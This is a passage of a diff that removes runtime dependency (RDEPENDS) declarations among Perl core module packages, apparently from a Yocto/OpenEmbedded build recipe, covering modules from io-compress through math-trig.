-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-fcntl"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-base"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-config"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-fcntl"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-adapter-identity"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-bzip2 "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-zip-constants"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-warnings"
-RDEPENDS_perl-module-io-dir += "perl-module-exporter"
-RDEPENDS_perl-module-io-dir += "perl-module-file-stat"
-RDEPENDS_perl-module-io-dir += "perl-module-io-file"
-RDEPENDS_perl-module-io-dir += "perl-module-strict"
-RDEPENDS_perl-module-io-dir += "perl-module-tie-hash"
-RDEPENDS_perl-module-io-file += "perl-module-carp"
-RDEPENDS_perl-module-io-file += "perl-module-exporter"
-RDEPENDS_perl-module-io-file += "perl-module-fcntl"
-RDEPENDS_perl-module-io-file += "perl-module-io-seekable"
-RDEPENDS_perl-module-io-file += "perl-module-selectsaver"
-RDEPENDS_perl-module-io-file += "perl-module-strict"
-RDEPENDS_perl-module-io-file += "perl-module-symbol"
-RDEPENDS_perl-module-io-handle += "perl-module-exporter"
-RDEPENDS_perl-module-io-handle += "perl-module-io"
-RDEPENDS_perl-module-io-handle += "perl-module-io-file"
-RDEPENDS_perl-module-io-handle += "perl-module-selectsaver"
-RDEPENDS_perl-module-io-handle += "perl-module-strict"
-RDEPENDS_perl-module-io += "perl-module-strict"
-RDEPENDS_perl-module-io += "perl-module-warnings"
-RDEPENDS_perl-module-io += "perl-module-xsloader"
-RDEPENDS_perl-module-io-pipe += "perl-module-fcntl"
-RDEPENDS_perl-module-io-pipe += "perl-module-io-handle"
-RDEPENDS_perl-module-io-pipe += "perl-module-strict"
-RDEPENDS_perl-module-io-poll += "perl-module-exporter"
-RDEPENDS_perl-module-io-poll += "perl-module-io-handle"
-RDEPENDS_perl-module-io-poll += "perl-module-strict"
-RDEPENDS_perl-module-io-seekable += "perl-module-exporter"
-RDEPENDS_perl-module-io-seekable += "perl-module-fcntl"
-RDEPENDS_perl-module-io-seekable += "perl-module-io-handle"
-RDEPENDS_perl-module-io-seekable += "perl-module-strict"
-RDEPENDS_perl-module-io-select += "perl-module-exporter"
-RDEPENDS_perl-module-io-select += "perl-module-strict"
-RDEPENDS_perl-module-io-select += "perl-module-warnings-register"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-errno"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-exporter"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-io-socket"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-socket"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-base"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-constant"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-errno"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-posix"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-socket"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-warnings"
-RDEPENDS_perl-module-io-socket += "perl-module-errno"
-RDEPENDS_perl-module-io-socket += "perl-module-exporter"
-RDEPENDS_perl-module-io-socket += "perl-module-io-handle"
-RDEPENDS_perl-module-io-socket += "perl-module-io-select"
-RDEPENDS_perl-module-io-socket += "perl-module-io-socket-inet"
-RDEPENDS_perl-module-io-socket += "perl-module-io-socket-unix"
-RDEPENDS_perl-module-io-socket += "perl-module-socket"
-RDEPENDS_perl-module-io-socket += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-unix += "perl-module-io-socket"
-RDEPENDS_perl-module-io-socket-unix += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-compress-raw-bzip2"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-zip-constants "
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-gunzip"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-inflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-unzip"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-constant"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-io-file "
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-list-util"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-adapter-bunzip2"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-compress-zlib-constants"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-constant"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-fcntl"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-zip-constants"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-file"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-identity"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-posix"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-zlib += "perl-module-fcntl"
-RDEPENDS_perl-module-io-zlib += "perl-module-io-handle"
-RDEPENDS_perl-module-io-zlib += "perl-module-strict"
-RDEPENDS_perl-module-io-zlib += "perl-module-tie-handle"
-RDEPENDS_perl-module-io-zlib += "perl-module-vars"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-constant"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-filehandle"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-io-handle"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-io-select"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-ipc-open3"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-load"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-params-check"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-posix"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-socket"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-strict"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-text-parsewords"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-time-hires"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-vars"
-RDEPENDS_perl-module-ipc-msg += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-msg += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-msg += "perl-module-strict"
-RDEPENDS_perl-module-ipc-msg += "perl-module-vars"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-ipc-open3"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-strict"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-constant"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-fcntl"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-io-pipe"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-posix"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-strict"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-strict"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-vars"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-strict"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-vars"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-config"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-dynaloader"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-strict"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-vars"
-RDEPENDS_perl-module-json-pp-boolean += "perl-module-overload"
-RDEPENDS_perl-module-json-pp-boolean += "perl-module-strict"
-RDEPENDS_perl-module-json-pp += "perl-module-b"
-RDEPENDS_perl-module-json-pp += "perl-module-bytes"
-RDEPENDS_perl-module-json-pp += "perl-module-constant"
-RDEPENDS_perl-module-json-pp += "perl-module-encode"
-RDEPENDS_perl-module-json-pp += "perl-module-exporter"
-RDEPENDS_perl-module-json-pp += "perl-module-json-pp-boolean"
-RDEPENDS_perl-module-json-pp += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-json-pp += "perl-module-math-bigint"
-RDEPENDS_perl-module-json-pp += "perl-module-overload"
-RDEPENDS_perl-module-json-pp += "perl-module-strict"
-RDEPENDS_perl-module-json-pp += "perl-module-subs"
-RDEPENDS_perl-module-less += "perl-module-strict"
-RDEPENDS_perl-module-less += "perl-module-warnings"
-RDEPENDS_perl-module-lib += "perl-module-config"
-RDEPENDS_perl-module-lib += "perl-module-strict"
-RDEPENDS_perl-module-list-util += "perl-module-exporter"
-RDEPENDS_perl-module-list-util += "perl-module-strict"
-RDEPENDS_perl-module-list-util += "perl-module-warnings"
-RDEPENDS_perl-module-list-util += "perl-module-xsloader"
-RDEPENDS_perl-module-list-util-xs += "perl-module-list-util"
-RDEPENDS_perl-module-list-util-xs += "perl-module-strict"
-RDEPENDS_perl-module-list-util-xs += "perl-module-warnings"
-RDEPENDS_perl-module-loaded += "perl-module-strict"
-RDEPENDS_perl-module-loaded += "perl-module-vars"
-RDEPENDS_perl-module-load += "perl-module-config"
-RDEPENDS_perl-module-load += "perl-module-constant"
-RDEPENDS_perl-module-load += "perl-module-exporter"
-RDEPENDS_perl-module-load += "perl-module-filehandle"
-RDEPENDS_perl-module-load += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-load += "perl-module-corelist"
-RDEPENDS_perl-module-load += "perl-module-load"
-RDEPENDS_perl-module-load += "perl-module-params-check"
-RDEPENDS_perl-module-load += "perl-module-strict"
-RDEPENDS_perl-module-load += "perl-module-vars"
-RDEPENDS_perl-module-load += "perl-module-version"
-RDEPENDS_perl-module-load += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-constants += "perl-module-constant"
-RDEPENDS_perl-module-locale-codes-constants += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-constants += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-constants += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-country-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-country-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-country-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-country += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-country-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-country-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-country-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-currency-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-currency-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-currency-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-currency += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-currency-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-currency-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-currency-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langext-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langext-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-langext-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langext += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langext-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langext-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-langext-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langfam-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langfam-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-langfam-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langfam += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langfam-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langfam-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-language-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-language-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-language-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-language += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-language-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-language-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-language-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langvar-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langvar-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-langvar-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langvar += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-langvar-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-langvar-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-langvar-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes += "perl-module-if"
-RDEPENDS_perl-module-locale-codes += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-script-codes += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-script-codes += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-script-codes += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-exporter"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-if"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-script += "perl-module-warnings"
-RDEPENDS_perl-module-locale-codes-script-retired += "perl-module-strict"
-RDEPENDS_perl-module-locale-codes-script-retired += "perl-module-utf8"
-RDEPENDS_perl-module-locale-codes-script-retired += "perl-module-warnings"
-RDEPENDS_perl-module-locale-country += "perl-module-exporter"
-RDEPENDS_perl-module-locale-country += "perl-module-if"
-RDEPENDS_perl-module-locale-country += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-country += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-country += "perl-module-strict"
-RDEPENDS_perl-module-locale-country += "perl-module-warnings"
-RDEPENDS_perl-module-locale-currency += "perl-module-exporter"
-RDEPENDS_perl-module-locale-currency += "perl-module-if"
-RDEPENDS_perl-module-locale-currency += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-currency += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-currency += "perl-module-strict"
-RDEPENDS_perl-module-locale-currency += "perl-module-warnings"
-RDEPENDS_perl-module-locale-language += "perl-module-exporter"
-RDEPENDS_perl-module-locale-language += "perl-module-if"
-RDEPENDS_perl-module-locale-language += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-language += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-language += "perl-module-strict"
-RDEPENDS_perl-module-locale-language += "perl-module-warnings"
-RDEPENDS_perl-module-locale-maketext-gutsloader += "perl-module-locale-maketext"
-RDEPENDS_perl-module-locale-maketext-guts += "perl-module-locale-maketext"
-RDEPENDS_perl-module-locale-maketext += "perl-module-i18n-langtags"
-RDEPENDS_perl-module-locale-maketext += "perl-module-i18n-langtags-detect"
-RDEPENDS_perl-module-locale-maketext += "perl-module-integer"
-RDEPENDS_perl-module-locale-maketext += "perl-module-strict"
-RDEPENDS_perl-module-locale-maketext-simple += "perl-module-base"
-RDEPENDS_perl-module-locale-maketext-simple += "perl-module-strict"
-RDEPENDS_perl-module-locale += "perl-module-config"
-RDEPENDS_perl-module-locale-script += "perl-module-exporter"
-RDEPENDS_perl-module-locale-script += "perl-module-if"
-RDEPENDS_perl-module-locale-script += "perl-module-locale-codes"
-RDEPENDS_perl-module-locale-script += "perl-module-locale-codes-constants"
-RDEPENDS_perl-module-locale-script += "perl-module-strict"
-RDEPENDS_perl-module-locale-script += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-math-complex"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-overload"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-strict"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-overload"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-strict"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-calcemu += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-calcemu += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-constant"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-integer"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-math-bigint-lib"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-math-bigint-calc"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-xsloader"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigint += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigint += "perl-module-math-complex"
-RDEPENDS_perl-module-math-bigint += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigrat += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigrat += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigrat += "perl-module-overload"
-RDEPENDS_perl-module-math-bigrat += "perl-module-strict"
-RDEPENDS_perl-module-math-bigrat += "perl-module-warnings"
-RDEPENDS_perl-module-math-complex += "perl-module-config"
-RDEPENDS_perl-module-math-complex += "perl-module-exporter"
-RDEPENDS_perl-module-math-complex += "perl-module-overload"
-RDEPENDS_perl-module-math-complex += "perl-module-strict"
-RDEPENDS_perl-module-math-complex += "perl-module-warnings"
-RDEPENDS_perl-module-math-trig += "perl-module-exporter"
-RDEPENDS_perl-module-math-trig += "perl-module-math-complex"
